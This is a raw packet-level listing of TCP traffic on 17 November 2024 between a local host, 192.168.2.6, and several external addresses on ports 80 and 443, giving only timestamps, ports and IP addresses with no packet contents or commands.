Nov 17, 2024 10:07:40.290781975 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290798903 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.290822029 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.291341066 CET	443	49943	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.291596889 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.291640997 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.291651011 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.291707039 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.291739941 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.291759014 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.291771889 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.291783094 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.291795969 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.291796923 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.291807890 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.291820049 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.291822910 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.291831970 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.291841984 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.291845083 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.291857958 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.291887045 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.294991016 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.295169115 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.296304941 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.296325922 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.296338081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.296355963 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.296381950 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.296387911 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.296423912 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.299731016 CET	49940	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.299881935 CET	49939	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.315871000 CET	443	49947	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:40.316575050 CET	49947	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:40.316600084 CET	443	49947	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:40.316931963 CET	443	49947	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:40.319075108 CET	49947	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:40.319143057 CET	443	49947	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:40.319236040 CET	49947	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:40.322994947 CET	49953	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.323029995 CET	443	49953	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:40.323085070 CET	49953	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.323399067 CET	443	49932	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:40.323482037 CET	49954	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.323514938 CET	443	49954	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:40.323612928 CET	49954	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.323810101 CET	49955	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.323822975 CET	443	49955	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:40.323880911 CET	49955	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.323965073 CET	49953	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.323983908 CET	443	49953	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:40.324404001 CET	49932	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:40.324450016 CET	443	49932	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:40.324510098 CET	49932	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:40.325109005 CET	49956	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.325135946 CET	443	49956	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:40.325339079 CET	49957	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.325365067 CET	443	49957	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:40.325381041 CET	49956	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.325428009 CET	49957	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.325541019 CET	49954	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.325556993 CET	443	49954	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:40.325871944 CET	49955	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.325887918 CET	443	49955	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:40.326049089 CET	49957	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.326066017 CET	443	49957	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:40.326287985 CET	49956	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.326299906 CET	443	49956	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:40.343667984 CET	443	49948	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:40.344085932 CET	49948	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:40.344095945 CET	443	49948	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:40.344429970 CET	443	49948	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:40.344739914 CET	49948	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:40.344806910 CET	443	49948	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:40.348078966 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.352905989 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.355719090 CET	443	49941	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.355741024 CET	443	49941	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.355844021 CET	49941	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.355859995 CET	443	49941	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.355962992 CET	49941	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.356841087 CET	49941	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.356856108 CET	443	49941	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.358028889 CET	443	49940	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.358113050 CET	443	49940	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.358278036 CET	49940	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.358997107 CET	443	49939	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.359033108 CET	443	49939	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.359042883 CET	443	49939	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.359097004 CET	49939	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.359107971 CET	443	49939	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.359169960 CET	49939	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.359428883 CET	443	49947	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:40.360008001 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.360053062 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.360272884 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.360440969 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.360467911 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.360893011 CET	443	49938	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.360922098 CET	443	49938	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.361038923 CET	443	49938	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.361046076 CET	443	49938	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.361087084 CET	49938	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.361088037 CET	49938	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.361709118 CET	49940	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.361720085 CET	443	49940	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.367197990 CET	49939	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.367232084 CET	443	49939	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.369235039 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.369256973 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.369322062 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.369498014 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.369518042 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.370768070 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.370778084 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.370851994 CET	49938	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.370876074 CET	443	49938	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.370881081 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.371260881 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.371272087 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.375561953 CET	443	49943	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.375621080 CET	443	49943	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.375647068 CET	49943	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.375740051 CET	49943	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.377399921 CET	49943	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.377409935 CET	443	49943	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.387568951 CET	443	49937	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.387729883 CET	443	49937	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.387803078 CET	49937	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.387908936 CET	49937	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.387927055 CET	443	49937	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.387943029 CET	49937	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.387950897 CET	443	49937	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.390774965 CET	49962	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.390799046 CET	443	49962	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.390873909 CET	49962	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.391042948 CET	49962	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.391060114 CET	443	49962	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.397330999 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.397443056 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.397558928 CET	49936	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.397572041 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.397651911 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.397656918 CET	49936	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.397682905 CET	49936	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.397691011 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.397701979 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.397711992 CET	49936	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.397717953 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.398262978 CET	443	49944	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.398680925 CET	49944	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.398703098 CET	443	49944	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.399138927 CET	49944	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.399143934 CET	443	49944	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.401448011 CET	49963	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.401478052 CET	443	49963	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.401576042 CET	49963	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.401761055 CET	49963	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.401771069 CET	443	49963	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.414324999 CET	443	49946	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.414717913 CET	49946	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.414736032 CET	443	49946	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.415159941 CET	49946	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.415167093 CET	443	49946	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.416429043 CET	443	49945	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.416737080 CET	49945	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.416749954 CET	443	49945	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.417119026 CET	49945	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.417123079 CET	443	49945	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.444618940 CET	443	49947	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:40.444704056 CET	443	49947	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:40.444972992 CET	49947	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:40.445070028 CET	49947	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:40.445086002 CET	443	49947	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:40.462553024 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.462578058 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.462593079 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.462631941 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.462646961 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.462682009 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.462703943 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.473058939 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.473062038 CET	49948	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:40.473082066 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.473117113 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.473123074 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.473181963 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.473195076 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.473242044 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.525054932 CET	443	49944	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.525132895 CET	443	49944	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.525194883 CET	49944	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.525211096 CET	443	49944	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.525249004 CET	443	49944	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.525386095 CET	49944	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.525531054 CET	49944	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.525546074 CET	443	49944	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.525548935 CET	49944	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.525556087 CET	443	49944	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.528305054 CET	49965	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.528326988 CET	443	49965	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.528645039 CET	49965	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.528817892 CET	49965	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.528829098 CET	443	49965	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.545308113 CET	443	49945	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.545320034 CET	443	49946	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.545381069 CET	443	49945	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.545424938 CET	49945	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.545609951 CET	49945	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.545623064 CET	443	49945	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.545631886 CET	49945	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.545636892 CET	443	49945	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.545644045 CET	443	49946	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.545689106 CET	49946	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.545741081 CET	49946	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.545751095 CET	443	49946	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.545763969 CET	49946	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.545769930 CET	443	49946	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.548471928 CET	49966	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.548537016 CET	443	49966	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.548640013 CET	49966	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.548811913 CET	49967	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.548829079 CET	443	49967	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.549020052 CET	49966	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.549036980 CET	443	49966	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.549040079 CET	49967	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.549375057 CET	49967	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:40.549392939 CET	443	49967	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:40.587021112 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.587042093 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.587165117 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.587165117 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.587201118 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.587245941 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.588350058 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.588367939 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.588478088 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.588490009 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.588541985 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.589261055 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.589308977 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.589319944 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.589329958 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.589354992 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.589397907 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.589452982 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.589584112 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.589596987 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.624497890 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.624528885 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.624598026 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.624598980 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.624696016 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.624746084 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.624749899 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.624764919 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.624794960 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.624814987 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.624838114 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.624850035 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.624861002 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.624874115 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.624886990 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.624890089 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.624901056 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.624918938 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.624927998 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.624957085 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625214100 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625225067 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625237942 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625262022 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625283957 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625288010 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625297070 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625310898 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625324011 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625336885 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625371933 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625374079 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625386953 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625403881 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625416994 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625437975 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625449896 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625464916 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625473976 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625478029 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625487089 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625490904 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625513077 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625544071 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625555992 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625566959 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625583887 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625587940 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625600100 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625603914 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625603914 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625610113 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625612974 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625623941 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625636101 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625638962 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625648975 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625662088 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625663996 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625683069 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625706911 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625713110 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625725031 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625737906 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625760078 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625767946 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625767946 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625771999 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625783920 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625796080 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625803947 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625809908 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625821114 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625833035 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625835896 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625844955 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625863075 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625880957 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625920057 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625931978 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625963926 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625967026 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625979900 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.625988960 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.625992060 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626003027 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626017094 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.626039028 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.626085997 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626097918 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.626125097 CET	49892	80	192.168.2.6	185.215.113.206
